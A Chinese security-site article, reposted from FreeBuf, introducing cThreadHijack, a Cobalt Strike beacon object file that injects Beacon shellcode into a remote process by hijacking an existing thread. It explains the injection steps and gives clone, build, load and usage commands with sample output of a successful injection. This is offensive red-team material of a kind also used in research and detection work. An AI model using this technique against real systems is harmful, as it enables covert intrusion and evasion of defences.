如何使用cThreadHijack实现远程进程注入研究

安全 网站安全
cThreadHijack是一个针对远程进程注入信标对象文件(BOF),该工具主要通过线程劫持技术实现其功能,并且不会生成任何远程线程。

[[423622]]

关于cThreadHijack

cThreadHijack是一个针对远程进程注入信标对象文件(BOF),该工具主要通过线程劫持技术实现其功能,并且不会生成任何远程线程。

运行机制

cThreadHijack可以根据用户提供的监听器参数来生成原始信标Shellcode,并根据用户提供的PID参数将其注入至远程进程中,这一步主要利用的是VirtualAllocEx和WriteProcessMemory方法。

接下来,cThreadHijack并不会通过CreateRemoteThread或其他API生成一个新的远程线程,而是识别目标进程中的第一个线程,挂起目标线程之后,它便会通过一个CONTEXT结构体来获取线程CPU状态的内容。接下来,它会修改CONTEXT结构体中RIP寄存器成员的地址,并将其指向远程Payload。

在执行之前,cThreadHijack会将一个封装了信标Shellcode的程序添加至一个针对CreateThread的调用方法中。CreateThread程序封装在一个名叫NtContinue的函数调用程序,可以允许之前被劫持的线程在不导致远程进程崩溃的前提下恢复运行。cThreadHijack的信标Payload在生成时会带有一个“线程退出函数”,以允许进程在信标退出之后继续执行。

信标监听器的名称如果包含空格的话,必须放在引号中。

工具下载

广大研究人员可以使用下列命令将该项目源码克隆至本地:

  1. git clone https://github.com/connormcgarr/cThreadHijack.git 

项目构建

首先,在一台Windows虚拟机上,点击Win键,输入“x64 Native Tools”打开“x64 Native Tools Command Prompt for VS”对话框。

接下来,将目录修改为“C:\path\to\cThreadHijack”。

然后运行下列命令:

  1. nmake -f Makefile.msvc build 

最后,通过Cobalt Strike的“Script Console”以及参数“load /path/to/cThreadHijack.cna”来加载cThreadHijack.cna。

工具使用

  1. cThreadHijack PID LISTENER_NAME 

运行结果样例如下:

  1. beacon> cThreadHijack 7340 TESTING 
  2.  
  3. [+] host called home, sent: 268433 bytes 
  4.  
  5. [+] received output: 
  6.  
  7. [+] Target process PID: 7340 
  8.  
  9.   
  10.  
  11. [+] received output: 
  12.  
  13. [+] Opened a handle to PID 7340 
  14.  
  15.   
  16.  
  17. [+] received output: 
  18.  
  19. [+] Found a thread in the target process! Thread ID: 10212 
  20.  
  21.   
  22.  
  23. [+] received output: 
  24.  
  25. [+] Suspending the targeted thread... 
  26.  
  27.   
  28.  
  29. [+] received output: 
  30.  
  31. [+] Wrote Beacon shellcode to the remote process! 
  32.  
  33.   
  34.  
  35. [+] received output: 
  36.  
  37. [+] Virtual memory for CreateThread and NtContinue routines allocated at 0x201f4ab0000 inside of the remote process! 
  38.  
  39.   
  40.  
  41. [+] received output: 
  42.  
  43. [+] Size of NtContinue routine: 64 bytes 
  44.  
  45. [+] Size of CONTEXT structure: 1232 bytes 
  46.  
  47. [+] Size of stack alignment routine: 4 
  48.  
  49. [+] Size of CreateThread routine: 64 
  50.  
  51. [+] Size of shellcode: 261632 bytes 
  52.  
  53.   
  54.  
  55. [+] received output: 
  56.  
  57. [+] Wrote payload to buffer to previously allocated buffer inside of! 
  58.  
  59.   
  60.  
  61. [+] received output: 
  62.  
  63. [+] Current RIP: 0x7ffa55df69a4 
  64.  
  65.   
  66.  
  67. [+] received output: 
  68.  
  69. [+] Successfully pointed the target thread's RIP register to the shellcode! 
  70.  
  71.   
  72.  
  73. [+] received output: 
  74.  
  75. [+] Current RIP: 0x201f4ab0000 
  76.  
  77.   
  78.  
  79. [+] received output: 
  80.  
  81. [+] Resuming the thread! Please wait a few moments for the Beacon payload to execute... 

项目地址

cThreadHijack:【GitHub传送门

 

责任编辑:赵宁宁 来源: FreeBuf
相关推荐

2021-07-28 09:53:53

FalconEye注入安全检测

2021-09-13 09:21:51

InjectorWindows内存注入

2017-08-16 16:00:05

PHPcontainer依赖注入

2011-08-23 13:37:47

2021-09-13 06:33:27

远程工作ITCIO

2014-04-01 11:17:16

2020-11-04 07:17:42

Nodejs通信进程

2009-09-02 15:08:47

2018-03-12 10:02:30

PHP依赖注入

2010-09-26 13:56:43

SQL远程查询

2023-09-18 14:41:56

2013-03-28 13:14:45

AIDL进程间通信Android使用AI

2013-01-30 15:07:59

Shell

2013-08-15 16:24:13

2018-02-28 14:04:08

RMIJDBC存储

2013-08-16 09:34:40

2018-07-24 09:57:02

2018-11-02 08:53:15

2017-02-13 10:00:39

Windows远程桌面

2015-07-23 10:51:28

点赞
收藏

51CTO技术栈公众号